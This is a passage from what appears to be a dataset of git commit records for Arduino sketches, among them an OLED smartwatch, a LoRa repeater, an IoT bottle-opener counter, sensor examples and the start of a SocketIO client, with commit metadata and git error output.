oled->line(x,y+5,x+5,y);\n oled->line(x+5,y,x+5,y+he);\n return x+8;\n } else if (b == 2) {\n oled->circle(x+he\/4, y-3+3*he\/4, he\/4);\n oled->black(x,y,he\/4,he);\n oled->line(x+he\/4,y+he-3,x+he\/2,y+he);\n return x+2+he\/2;\n } else if (b == 3) {\n oled->circle(x+he\/4, y+1*he\/4, he\/4);\n oled->circle(x+he\/4, y+3*he\/4, he\/4);\n oled->black(x,y,he\/4,he);\n return x+2+he\/2;\n } else if (b == 4) {\n oled->line(x,y+he\/2,x+he\/2,y);\n oled->line(x,y+he\/2,x+he\/2,y+he\/2);\n oled->line(x+he\/2,y,x+he\/2,y+he);\n return x+2+he\/2; \n } else if (b == 5) {\n oled->line(x+he\/4,y,x+he\/2,y);\n oled->line(x+he\/4,y,x+he\/4,y+he\/2);\n oled->circle(x+he\/4, y+3*he\/4, he\/4);\n oled->black(x,y,he\/4,he);\n return x+2+he\/2; \n } else if (b == 6) {\n oled->line(x,y-2+3*he\/4,x+he\/2,y);\n oled->circle(x+he\/4, y+3*he\/4, he\/4);\n return x+2+he\/2; \n } else if (b == 7) {\n oled->line(x,y+3,x+he\/2,y);\n oled->line(x+he\/2,y,x,y+he);\n oled->line(x+3,y+he\/2,x+he\/2-1,y+he\/2);\n return x+2+5; \n } else if (b == 8) {\n oled->circle(x+he\/4, y+1*he\/4, he\/4);\n oled->circle(x+he\/4, y+3*he\/4, he\/4);\n return x+2+he\/2;\n } else if (b == 9) {\n oled->circle(x+he\/4, y+1*he\/4, he\/4);\n oled->line (x+he\/2, y+1*he\/4, x+he\/2, y+he);\n return x+2+he\/2;\n }\n}\n\nvoid printClock() {\n int xx = myFont(3, 7, hours\/10, B00100000);\n myFont(xx, 7, hours - 10*(hours\/10), B00010000);\n \n xx = myFont(44, 7, minutes\/10, B00001000);\n myFont(xx, 7, minutes - 10*(minutes\/10), B00000100);\n \n xx = myFont(84, 7, seconds\/10, B00000010);\n myFont(xx, 7, seconds - 10*(seconds\/10), B00000001);\n \n oled->setTextSize(1);\n if (COUNT > 0) {\n oled->setCursor(64, 55);\n oled->print(COUNT); \n }\n\n if (delta > 0.2) {\n oled->on();\n dsec = 0;\n }\n\n if (delta > 0.05 && mtick == 0 && tick == 0) mtick=1;\n \n if (mtick==1) oled->drawBitmap(MOVIE_X, MOVIE_Y, movi1, 16, 24, WHITE);\n if (mtick==2) oled->drawBitmap(MOVIE_X, MOVIE_Y, movi2, 16, 24, WHITE);\n if (mtick==3) oled->drawBitmap(MOVIE_X+2, MOVIE_Y, movi3, 16, 24, WHITE);\n if (mtick==4) oled->drawBitmap(MOVIE_X+8, MOVIE_Y, movi4, 16, 24, WHITE);\n if (mtick==5) oled->drawBitmap(MOVIE_X+12, MOVIE_Y, movi5, 16, 24, WHITE);\n if (mtick==6) oled->drawBitmap(MOVIE_X+16, MOVIE_Y, movi6, 16, 24, WHITE);\n \n oled->setCursor(5,42);\n oled->print(vcc-WARN_POWER);\n oled->print('%');\n \n oled->setCursor(5,55);\n oled->print(steps);\n}\n\ninline void wakeUpIcon() {\n oled->clear();\n digitalWrite(LED_RED, LED_OFF);\n analogWrite(LED_BLUE, 10);\n analogWrite(LED_GREEN, 5);\n oled->circle(oled->width()\/2, oled->height()\/2, 5);\n oled->black(0,0,oled->width()\/2, oled->height());\n oled->black(oled->width()\/2, oled->height()\/2,oled->width()\/2, oled->height()\/2);\n oled->display();\n delay(100);\n analogWrite(LED_BLUE, 50);\n analogWrite(LED_GREEN, 20);\n oled->circle(oled->width()\/2, oled->height()\/2, 10);\n oled->black(0,0,oled->width()\/2, oled->height());\n oled->black(oled->width()\/2, oled->height()\/2,oled->width()\/2, oled->height()\/2);\n oled->display();\n delay(100);\n analogWrite(LED_BLUE, 100);\n analogWrite(LED_GREEN, 50);\n oled->circle(oled->width()\/2, oled->height()\/2, 15);\n oled->black(0,0,oled->width()\/2, oled->height());\n oled->black(oled->width()\/2, oled->height()\/2,oled->width()\/2, oled->height()\/2);\n oled->display(); \n delay(100);\n analogWrite(LED_BLUE, 200);\n analogWrite(LED_GREEN, 90);\n oled->circle(oled->width()\/2, oled->height()\/2, 20);\n oled->black(0,0,oled->width()\/2, oled->height());\n oled->black(oled->width()\/2, oled->height()\/2,oled->width()\/2, oled->height()\/2);\n oled->display(); \n delay(200);\n digitalWrite(LED_RED, LED_OFF);\n digitalWrite(LED_GREEN, LED_OFF);\n digitalWrite(LED_BLUE, LED_OFF);\n}\n\ninline byte tob(char c) { return c - '0';}\n\nfloat ab(float x) {\n if (x<0) return -1*x;\n return x; \n}\n\nint slen(char * str) {\n int i;\n for (i=0;str[i] != '\\0' && i < 1000; ++i);\n return i;\n}\n\nvoid setup() {\n pinMode(BUTTON1, INPUT_PULLUP);\n pinMode(BUTTON2, INPUT_PULLUP);\n pinMode(LED_RED, OUTPUT);\n pinMode(LED_GREEN, OUTPUT);\n pinMode(LED_BLUE, OUTPUT);\n\n Serial.begin(SERIAL_SPEED);\n\n oled->begin();\n oled->clearDisplay();\n oled->display();\n buffMem = '\\0';\n\n digitalWrite(LED_RED, LED_OFF);\n digitalWrite(LED_GREEN, LED_OFF);\n digitalWrite(LED_BLUE, LED_OFF);\n\n mag.begin();\n delay(7);\n \n oled->clearDisplay();\n buffMem = '\\0';\n \n MsTimer2::set(100, ticking); \/\/ 100ms period\n MsTimer2::start();\n}\n\nvoid loop() {\n delay(81);\n \n if (seconds == 10 || tick == 1) {\n readVcc();\n if (vcc < WARN_POWER && powerlow == false) {\n powerlow = true;\n Serial.print(\"Steps: \");\n Serial.println(steps);\n Serial.print(vcc);\n Serial.println(\" mV\");\n } else {\n powerlow = false;\n }\n }\n \n oled->clear();\n printClock();\n oled->setTextSize(1);\n mesure();\n \n if (dsec < DISPLAYSEC && cStart < memoStrPos) {\n oled->setCursor(0,22);\n oled->black(0,22,128,42);\n oled->print(&(memoStr[cStart]));\n }\n\n if (dsec == DISPLAYSEC) {\n memoStr[0] = '\\0';\n memoStrPos = 0;\n oled->off();\n }\n\n oled->setCursor(0, 0);\n \n if (digitalRead(BUTTON1) == LOW) {\n oled->on();\n dsec = 0;\n digitalWrite(LED_RED, LED_OFF);\n digitalWrite(LED_GREEN, LED_OFF);\n digitalWrite(LED_BLUE, LED_OFF);\n }\n\n if (digitalRead(BUTTON2) == LOW) {\n delay(200); \n if (digitalRead(BUTTON2) == LOW) {\n \n COUNT = 0;\n digitalWrite(LED_RED, LED_OFF);\n digitalWrite(LED_GREEN, LED_OFF);\n digitalWrite(LED_BLUE, LED_OFF);\n\n Serial.print(\"Steps: \");\n Serial.println(steps);\n Serial.print(vcc);\n Serial.println(\" mV\");\n\n oled->on();\n dsec = 0;\n wakeUpIcon();\n \n \/\/ \"remove\" old chars from buffer\n \/\/ print ignores everyting behind \\0\n memoStr[0] = '\\0';\n memoStrPos = 0;\n iconType = MSG_NO;\n Serial.print(CHAR_TIME_REQUEST);\n Serial.print('\\n');\n }\n }\n \n if (COUNT > 0) {\n int l = slen(memoStr);\n if (\n (l > 8 &&\n memoStr[l-8] == 'c' &&\n memoStr[l-7] == 'a' &&\n memoStr[l-6] == 'l' &&\n memoStr[l-5] == 'e' &&\n memoStr[l-4] == 'n' &&\n memoStr[l-3] == 'd' &&\n memoStr[l-2] == 'a' &&\n memoStr[l-1] == 'r') || iconType == MSG_CAL\n ) {\n oled->drawBitmap(54, 54, icon_calendar, 8, 8, WHITE);\n iconType = MSG_CAL;\n } else if (\n (l > 9 &&\n memoStr[l-9] == 'm' &&\n memoStr[l-8] == 'e' &&\n memoStr[l-7] == 's' &&\n memoStr[l-6] == 's' &&\n memoStr[l-5] == 'a' &&\n memoStr[l-4] == 'g' &&\n memoStr[l-3] == 'i' &&\n memoStr[l-2] == 'n' &&\n memoStr[l-1] == 'g') || iconType == MSG_SMS\n ) {\n oled->drawBitmap(54, 54, icon_messaging, 8, 8, WHITE);\n iconType = MSG_SMS;\n } else if (\n (l > 7 &&\n memoStr[l-7] == 'f' &&\n memoStr[l-6] == 's' &&\n memoStr[l-5] == 'c' &&\n memoStr[l-4] == 'k' &&\n memoStr[l-3] == '.' &&\n memoStr[l-2] == 'k' &&\n memoStr[l-1] == '9') || iconType == MSG_MAIL\n ) {\n oled->drawBitmap(54, 54, icon_mail, 8, 8, WHITE);\n iconType = MSG_MAIL;\n } else if (\n (l > 5) || iconType == MSG_OTHER\n ) {\n oled->drawBitmap(54, 54, icon_other, 8, 8, WHITE);\n iconType = MSG_OTHER;\n }\n } else {\n digitalWrite(LED_RED, LED_OFF);\n digitalWrite(LED_GREEN, LED_OFF);\n digitalWrite(LED_BLUE, LED_OFF);\n iconType = MSG_NO;\n }\n \n if (memoStr[0] == CHAR_TIME_RESPONSE) { \n \/\/ extract the time -------------------------\n \n memoStr[0] = ' ';\n hours = tob(memoStr[1])*10 + tob(memoStr[2]);\n minutes = tob(memoStr[4])*10 + tob(memoStr[5]);\n seconds = tob(memoStr[7])*10 + tob(memoStr[8]);\n\n } else if (memoStr[0] == CHAR_NOTIFY_HINT) {\n \/\/ there is a new message (or a message is deleted)\n COUNT = (unsigned char) memoStr[1];\n }\n\n oled->display();\n \n if (powerlow) analogWrite(LED_RED, 5*tick);\n\n cEnd++;\n cStart++;\n if (cEnd <= memoStrPos) buffMem = memoStr[cEnd];\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Stepper\/watch8\/watch8.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"a2f16865567e4025e7860737b56c6052a50eecf5","subject":"Create LORA_repeater_bot.ino","message":"Create LORA_repeater_bot.ino","repos":"AlcorDust\/LORA_stuff,AlcorDust\/LORA_stuff","old_file":"LORA_Repeater\/LORA_repeater_bot\/LORA_repeater_bot.ino","new_file":"LORA_Repeater\/LORA_repeater_bot\/LORA_repeater_bot.ino","new_contents":"#include <RHReliableDatagram.h>\n#include <RH_RF95.h>\n#include <SPI.h>\n\n#define MY_ADDRESS 1\n#define TARGET_ADDRESS 2\n#define MAX_LEN 40\n\nRH_RF95 driver;\nRHReliableDatagram manager(driver, MY_ADDRESS);\n\nbool check = 0;\nuint8_t data[MAX_LEN];\nuint8_t buf[RH_RF95_MAX_MESSAGE_LEN];\n\nString outstr=\"\";\nint SNR;\nchar ricevuto[MAX_LEN];\n\nvoid setup() {\n\n manager.init();\n driver.setTxPower(23, false);\n\n \/\/Serial.begin(9600);\n\n}\n\nvoid loop() {\n\n if (manager.available()) {\n\n uint8_t len = sizeof(buf);\n uint8_t from;\n\n check = manager.recvfromAckTimeout(buf, &len, 2000, &from);\n\n \/\/Serial.println((char*)buf);\n \n if (check) {\n\n SNR = driver.lastSNR();\n\n outstr = \"A,\";\n outstr.concat((char*)buf);\n outstr.concat(\",\");\n outstr.concat(SNR);\n outstr.concat(\",Z\");\n outstr.getBytes(data, outstr.length()+10);\n \n manager.sendtoWait(data, sizeof(data), TARGET_ADDRESS);\n\n check = 0;\n\n }\n\n } \/\/ Manager available\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LORA_Repeater\/LORA_repeater_bot\/LORA_repeater_bot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ab1eba337fc049ef152ad4d825ef4b7a1bd60e90","subject":"Move \"messageReceived\" to ShiftrConnector","message":"Move \"messageReceived\" to ShiftrConnector\n","repos":"Zenika\/bottleopener_iot,Zenika\/bottleopener_iot,Zenika\/bottleopener_iot,Zenika\/bottleopener_iot","old_file":"bottleopener\/bottleopener.ino","new_file":"bottleopener\/bottleopener.ino","new_contents":"#include <Bridge.h>\n\n#include \"logger.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Include of Iot Platform's connectors\n#include \"thingspeakSender.h\"\nThingspeakSender thingspeakSender;\n\n#include \"shiftrConnector.h\"\nShiftrConnector shiftrConnector;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#define PIN_BUTTON 7\n#define PIN_LED 13\n\n\/\/Global counter for this bottle opener\nint counter = 0;\n\nvoid setup() {\n pinMode(PIN_BUTTON, INPUT);\n pinMode(PIN_LED, OUTPUT);\n\n Bridge.begin(); \/\/ Yun bridge\n logger->init();\n\n\n \/\/setup the IoT platforms\n logger->log(\"Start setup connection with IoT platforms...\\n\");\n thingspeakSender.init();\n shiftrConnector.init();\n\n \/\/Everything seems to be ok, let's start !\n logger->log(\"\\nBottle Opener up, Let's start to play :) !!!\\n\");\n\n \/\/highlight blue led just to prevent everything is OK. Useful when logs are disabled\n digitalWrite(PIN_LED, HIGH);\n}\n\n\/**\n Arduino loop...\n*\/\nvoid loop() {\n \/\/need to refresh shiftr API in order to send and receive new messages\n shiftrConnector.loop();\n\n boolean pressed = debounce();\n if (pressed == true) {\n counter++;\n sendCounter();\n logCounter();\n }\n\n}\n\n\/**\n Send the counter to the IoT platforms\n*\/\nvoid sendCounter() {\n thingspeakSender.sendCounter(counter);\n shiftrConnector.sendCounter(counter);\n}\n\n\/**\n Logs counter information on Serial Console\n*\/\nvoid logCounter() {\n logger->log(\"Button pressed \");\n logger->log((String) counter);\n logger->log(\"times \\n\");\n}\n\n\n\/**\n check if the button was pressed.\n*\/\nboolean debounce() {\n static int buttonState;\n static int lastButtonState = LOW;\n static long lastDebounceTime = 0;\n static long debounceDelay = 50;\n\n boolean retVal = false;\n int reading = digitalRead(PIN_BUTTON);\n if (reading != lastButtonState) {\n lastDebounceTime = millis();\n }\n if ((millis() - lastDebounceTime) > debounceDelay) {\n if (reading != buttonState) {\n buttonState = reading;\n if (buttonState == HIGH) {\n retVal = true;\n }\n }\n }\n lastButtonState = reading;\n return retVal;\n}\n\n","old_contents":"#include <Bridge.h>\n\n#include \"logger.h\"\n\n#include \"thingspeakSender.h\"\nThingspeakSender thingspeakSender;\n\n#include \"shiftrConnector.h\"\nShiftrConnector shiftrConnector;\n\n#define PIN_BUTTON 7\n#define PIN_LED 13\n\n\/\/Global counter for this bottle opener\nint counter = 0;\n\nvoid setup() {\n pinMode(PIN_BUTTON, INPUT);\n pinMode(PIN_LED, OUTPUT);\n\n Bridge.begin(); \/\/ Yun bridge\n logger->init();\n\n\n \/\/setup the IoT platforms\n logger->log(\"Start setup connection with IoT platforms...\\n\");\n thingspeakSender.init();\n shiftrConnector.init();\n\n \/\/Everything seems to be ok, let's start !\n logger->log(\"\\nBottle Opener up, Let's start to play :) !!!\\n\");\n\n \/\/highlight blue led just to prevent everything is OK. Useful when logs are disabled\n digitalWrite(PIN_LED, HIGH);\n}\n\n\/**\n Arduino loop...\n*\/\nvoid loop() {\n \/\/need to refresh shiftr API in order to send and receive new messages\n shiftrConnector.loop();\n\n boolean pressed = debounce();\n if (pressed == true) {\n counter++;\n sendCounter();\n logCounter();\n }\n\n}\n\n\/**\n Send the counter to the IoT platforms\n*\/\nvoid sendCounter() {\n thingspeakSender.sendCounter(counter);\n shiftrConnector.sendCounter(counter);\n}\n\n\/**\n Logs counter information on Serial Console\n*\/\nvoid logCounter() {\n logger->log(\"Button pressed \");\n logger->log((String) counter);\n logger->log(\"times \\n\");\n}\n\n\/**\n Only necessary for Shiftr.io API\n*\/\nvoid messageReceived(String topic, String payload, char * bytes, unsigned int length) {\n logger->log(\"incoming: \");\n logger->log(topic);\n logger->log(\" : \");\n logger->log(payload);\n logger->log(\"\\n\");\n}\n\n\n\/**\n check if the button was pressed.\n*\/\nboolean debounce() {\n static int buttonState;\n static int lastButtonState = LOW;\n static long lastDebounceTime = 0;\n static long debounceDelay = 50;\n\n boolean retVal = false;\n int reading = digitalRead(PIN_BUTTON);\n if (reading != lastButtonState) {\n lastDebounceTime = millis();\n }\n if ((millis() - lastDebounceTime) > debounceDelay) {\n if (reading != buttonState) {\n buttonState = reading;\n if (buttonState == HIGH) {\n retVal = true;\n }\n }\n }\n lastButtonState = reading;\n return retVal;\n}\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"eb70b33c46e7dd41797c33ed642933be019bf140","subject":"Renamed and added comments","message":"Renamed and added comments\n\nRenamed file and renamed variables to be more descriptive. Added\ncomments.\n","repos":"adamjacobsus\/Thermostat,adamjacobsus\/Thermostat","old_file":"Daughterboard\/Daughterboard.ino","new_file":"Daughterboard\/Daughterboard.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/adamjacobsus\/Thermostat.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d5d72dbcaf77103814769b2046b854a5c05feb11","subject":"Added example for filesystem use","message":"Added example for filesystem use\n","repos":"squix78\/esp8266-projects,zbeerladen\/esp8266-projects,zbeerladen\/esp8266-projects,AdySan\/esp8266-projects,zbeerladen\/esp8266-projects,AdySan\/esp8266-projects,zbeerladen\/esp8266-projects,fungxu\/esp8266-projects,squix78\/esp8266-projects,AdySan\/esp8266-projects,squix78\/esp8266-projects,fungxu\/esp8266-projects,fungxu\/esp8266-projects,squix78\/esp8266-projects,fungxu\/esp8266-projects","old_file":"arduino-ide\/filesystem-example\/filesystem-example.ino","new_file":"arduino-ide\/filesystem-example\/filesystem-example.ino","new_contents":"#include \"FS.h\"\n\nvoid setup() {\n Serial.begin(115200);\n\n \/\/ always use this to \"mount\" the filesystem\n bool result = SPIFFS.begin();\n Serial.println(\"SPIFFS opened: \" + result);\n\n \/\/ this opens the file \"f.txt\" in read-mode\n File f = SPIFFS.open(\"\/f.txt\", \"r\");\n \n if (!f) {\n Serial.println(\"File doesn't exist yet. Creating it\");\n\n \/\/ open the file in write mode\n File f = SPIFFS.open(\"\/f.txt\", \"w\");\n if (!f) {\n Serial.println(\"file creation failed\");\n }\n \/\/ now write two lines in key\/value style with end-of-line characters\n f.println(\"ssid=abc\");\n f.println(\"password=123455secret\");\n } else {\n \/\/ we could open the file\n while(f.available()) {\n \/\/Lets read line by line from the file\n String line = f.readStringUntil('\\n');\n Serial.println(line);\n }\n }\n}\n\nvoid loop() {\n \/\/ nothing to do for now, this is just a simple test\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-ide\/filesystem-example\/filesystem-example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"241957cd8f9726acb7f33fb72bbc54f09c893783","subject":"Create LinearSoftPotTest.ino","message":"Create LinearSoftPotTest.ino\n\nUse this to calibrate the magazine","repos":"SMR404\/BT_CapacityMonitor,SMR404\/BT_CapacityMonitor,SMR404\/BT_CapacityMonitor,SMR404\/BT_CapacityMonitor","old_file":"arduino\/LinearSoftPotTest.ino","new_file":"arduino\/LinearSoftPotTest.ino","new_contents":"\/******************************************************************************\n (@SMR404) August 2017\n Edited version of SoftPot_Example.ino\n \n Originally an example sketch for SparkFun's soft membrane potentiometer\n (https:\/\/www.sparkfun.com\/products\/8680)\n Jim Lindblom @ SparkFun Electronics\n April 28, 2016\n\n - Connect the softpot's outside pins to Digital pin 11 and GND (the outer pin with an arrow\n indicator should be connected to GND).\n - Connect the middle pin to A0.\n\n\n Development environment specifics:\n Arduino 1.6.7\n******************************************************************************\/\nconst int SOFT_POT_PIN = A0; \/\/ Pin connected to softpot wiper\nconst int DRIVING_PIN = 11; \/\/drives the softpot\nconst int GRAPH_LENGTH = 40; \/\/ Length of line graph\n\n\n\/\/These are the average analogRead Values for each different capacity of the magazine. 31 array elements represents the possible number of rounds (0 through 30)\n\/\/Record the analog values printed to the monitor and change this array until you are happy with how it calculates the magazine capacity\nconst int capacityAnalogValues[31] = {25, 45, 71, 101, 121, 145, 165, 186, 212, 234,\n 254, 277, 298, 324, 346, 372, 393, 420, 443, 471,\n 496, 528, 554, 590, 621, 660 , 693, 737, 783, 825, 865\n }; \/\/the final value of 865 is made up. The 30th round pushes the follower past the sensor and gives a reading of 0\n\nvoid setup()\n{\n Serial.begin(9600);\n pinMode(SOFT_POT_PIN, INPUT);\n pinMode(DRIVING_PIN, OUTPUT);\n digitalWrite(DRIVING_PIN, HIGH);\n}\n\nvoid loop()\n{\n \/\/ Read in the soft pot's ADC value\n int calc;\n int softPotADC = analogRead(SOFT_POT_PIN);\n\n \/\/if capacity is 30\n if (softPotADC == 0) \/\/value is zero when capacity is zero (the follower pushes past the softPot, may differ in your case)\n {\n Serial.println(\"The capacity is 30\");\n }\n else\n {\n int i = 1;\n \/\/Covers capacities 1 - 29\n while ((i <= 30))\n {\n calc = (((capacityAnalogValues[i] - capacityAnalogValues[i - 1]) \/ 2) + capacityAnalogValues[i - 1]);\n if (calc >= softPotADC) \/\/if the analog value is above the lower threshold of the average analog capacity value\n {\n Serial.print(\"The capacity is \");\n Serial.print((i - 1));\n break;\n }\n i++;\n }\n }\n Serial.println(\"\\nANALOG READ VALUE: (\" + String(softPotADC) + \")\");\n delay(700);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/LinearSoftPotTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"568d33cccd873d43d8611e8ddb21f6e9494655e5","subject":"Agrego casos en sketch principal.","message":"Agrego casos en sketch principal.\n","repos":"nverdicchio\/soa-2017-bicicleta-inteligente,nverdicchio\/soa-2017-bicicleta-inteligente","old_file":"Arduino\/integraciones\/BicicletaInteligente\/BicicletaInteligente.ino","new_file":"Arduino\/integraciones\/BicicletaInteligente\/BicicletaInteligente.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nverdicchio\/soa-2017-bicicleta-inteligente.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c5e3ee4f1b3d6368d0e620057190b6ee62bfed63","subject":"added arduino code for speed setpoint indicator light","message":"added arduino code for speed setpoint indicator light\n","repos":"baranusluel\/igvc-electrical,baranusluel\/igvc-electrical,baranusluel\/igvc-electrical","old_file":"proj\/SpeedLight\/SpeedLight.ino","new_file":"proj\/SpeedLight\/SpeedLight.ino","new_contents":"\/*\n * Indicator Light for Motor Speed Setpoint:\n * Measures angular velocity of encoder in degrees per second (averaged over every 250ms)\n * and compares to arbitrary speed setpoint value. Lights up LED when difference is larger than arbitrary threshold.\n *\/\n\n#define encoder0PinA 2\n#define encoder0PinB 3\n#define ledPin 13\n#define errorThreshold 20\n\nlong targetSpeed = 40; \/\/ Target angulary velocity \/ setpoint in degrees per second\n\nvolatile signed long encoder0Pos = 0;\nsigned long encoder0PosPrev = 0;\nsigned long oldTime = 0;\nsigned long newTime = 0;\nsigned long dps = 0; \/\/ Angulary velocity in degrees per second\n\nvoid setup() {\n pinMode(encoder0PinA, INPUT);\n pinMode(encoder0PinB, INPUT);\n\n pinMode(ledPin, OUTPUT);\n\n attachInterrupt(digitalPinToInterrupt(encoder0PinA), doEncoderA, CHANGE);\n attachInterrupt(digitalPinToInterrupt(encoder0PinB), doEncoderB, CHANGE);\n\n oldTime = millis();\n \n Serial.begin (9600);\n}\n\nvoid loop() {\n newTime = millis();\n dps = ((encoder0Pos - encoder0PosPrev) * 360 * 1000 \/ 800) \/ (newTime - oldTime);\n Serial.println(dps);\n if (abs(dps - targetSpeed) > errorThreshold) {\n digitalWrite(ledPin, HIGH);\n } else {\n digitalWrite(ledPin, LOW);\n Serial.println(\"CONGRATS\");\n }\n oldTime = newTime;\n encoder0PosPrev = encoder0Pos;\n delay(250);\n}\n\nvoid doEncoderA() {\n \/\/ look for a low-to-high on channel A\n if (digitalRead(encoder0PinA) == HIGH) {\n\n \/\/ check channel B to see which way encoder is turning\n if (digitalRead(encoder0PinB) == LOW) {\n encoder0Pos = encoder0Pos + 1; \/\/ CW\n }\n else {\n encoder0Pos = encoder0Pos - 1; \/\/ CCW\n }\n }\n\n else \/\/ must be a high-to-low edge on channel A\n {\n \/\/ check channel B to see which way encoder is turning\n if (digitalRead(encoder0PinB) == HIGH) {\n encoder0Pos = encoder0Pos + 1; \/\/ CW\n }\n else {\n encoder0Pos = encoder0Pos - 1; \/\/ CCW\n }\n }\n \/\/Serial.println (encoder0Pos, DEC);\n \/\/ use for debugging - remember to comment out\n}\n\nvoid doEncoderB() {\n \/\/ look for a low-to-high on channel B\n if (digitalRead(encoder0PinB) == HIGH) {\n\n \/\/ check channel A to see which way encoder is turning\n if (digitalRead(encoder0PinA) == HIGH) {\n encoder0Pos = encoder0Pos + 1; \/\/ CW\n }\n else {\n encoder0Pos = encoder0Pos - 1; \/\/ CCW\n }\n }\n\n \/\/ Look for a high-to-low on channel B\n\n else {\n \/\/ check channel B to see which way encoder is turning\n if (digitalRead(encoder0PinA) == LOW) {\n encoder0Pos = encoder0Pos + 1; \/\/ CW\n }\n else {\n encoder0Pos = encoder0Pos - 1; \/\/ CCW\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'proj\/SpeedLight\/SpeedLight.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"508f90e574e88d8cc494a385177fd1fbd40bb21d","subject":"Create sensorflare-pwm.ino","message":"Create sensorflare-pwm.ino","repos":"LPFraile\/Sensorflare-SparkCore","old_file":"examples\/sensorflare-pwm.ino","new_file":"examples\/sensorflare-pwm.ino","new_contents":"\/\/Include the SensorFlare library \n#include \"sensorflare.h\"\n\n\/\/Initialize objects from the library\n\/\/One object of the class \"PWMOut\" is initialized for \n\/\/every PWM output that will be remote control\nSensorFlare::PWMOut pwm(A0);\n\nvoid setup() {\n\/\/ Call the begin() functions for every object of the classes \"DigitalOut\" and \n\/\/\"PWMout\" to be wired up correct and available.\n pwm.begin();\n}\n\nvoid loop() {\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/sensorflare-pwm.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"eb9bd9f0cdb1554b85b813d3137e53c0db35fa56","subject":"Added soundmeter","message":"Added soundmeter\n","repos":"gartdan\/Arduino,gartdan\/Arduino","old_file":"sketch_may22b_soundmeter\/sketch_may22b_soundmeter.ino","new_file":"sketch_may22b_soundmeter\/sketch_may22b_soundmeter.ino","new_contents":"\/****************************************\nScrolling Sound Meter Sketch for the \nAdafruit Microphone Amplifier\n****************************************\/\n \n#include <Wire.h>\n#include \"Adafruit_LEDBackpack.h\"\n#include \"Adafruit_GFX.h\"\n \n\/\/ Include the Matrix code for display\nAdafruit_BicolorMatrix matrix = Adafruit_BicolorMatrix();\n \nconst int maxScale = 8;\nconst int redZone = 5;\n \nconst int sampleWindow = 50; \/\/ Sample window width in mS (50 mS = 20Hz)\nunsigned int sample;\n \nvoid setup() \n{\n Serial.begin(9600);\n \n matrix.begin(0x70); \/\/ pass in the address\n}\n \n \nvoid loop() \n{\n unsigned long startMillis= millis(); \/\/ Start of sample window\n unsigned int peakToPeak = 0; \/\/ peak-to-peak level\n \n unsigned int signalMax = 0;\n unsigned int signalMin = 1024;\n \n while (millis() - startMillis < sampleWindow)\n {\n sample = analogRead(0); \n if (sample < 1024) \/\/ toss out spurious readings\n {\n if (sample > signalMax)\n {\n signalMax = sample; \/\/ save just the max levels\n }\n else if (sample < signalMin)\n {\n signalMin = sample; \/\/ save just the min levels\n }\n }\n }\n peakToPeak = signalMax - signalMin;\n Serial.println(peakToPeak);\n \n \/\/ map 1v p-p level to the max scale of the display\n int displayPeak = map(peakToPeak, 0, 512, 0, maxScale);\n Serial.println(displayPeak);\n \/\/ Update the display:\n for (int i = 0; i < 7; i++) \/\/ shift the display left\n {\n matrix.displaybuffer[i] = matrix.displaybuffer[i+1];\n }\n \n \/\/ draw the new sample\n for (int i = 0; i <= maxScale; i++)\n {\n if (i >= displayPeak) \/\/ blank these pixels\n {\n matrix.drawPixel(i, 7, 0);\n }\n else if (i < redZone) \/\/ draw in green\n {\n matrix.drawPixel(i, 7, LED_GREEN);\n }\n else \/\/ Red Alert! Red Alert!\n {\n matrix.drawPixel(i, 7, LED_RED);\n }\n }\n matrix.writeDisplay(); \/\/ write the changes we just made to the display\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch_may22b_soundmeter\/sketch_may22b_soundmeter.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0444a78441a8c3a0bc0e50732289dae1b31bd0db","subject":"[SocketIO] add example for use of ACK \/ callback handling","message":"[SocketIO] add example for use of ACK \/ callback handling\n","repos":"Links2004\/arduinoWebSockets,Links2004\/arduinoWebSockets,Links2004\/arduinoWebSockets,Links2004\/arduinoWebSockets,Links2004\/arduinoWebSockets,Links2004\/arduinoWebSockets","old_file":"examples\/esp8266\/WebSocketClientSocketIOack\/WebSocketClientSocketIOack.ino","new_file":"examples\/esp8266\/WebSocketClientSocketIOack\/WebSocketClientSocketIOack.ino","new_contents":"\/*\n * WebSocketClientSocketIOack.ino\n *\n * Created on: 20.07.2019\n *\n *\/\n\n#include <Arduino.h>\n\n#include <ESP8266WiFi.h>\n#include <ESP8266WiFiMulti.h>\n\n#include <ArduinoJson.h>\n\n#include <WebSocketsClient.h>\n#include <SocketIOclient.h>\n\n#include <Hash.h>\n\nESP8266WiFiMulti WiFiMulti;\nSocketIOclient socketIO;\n\n#define USE_SERIAL 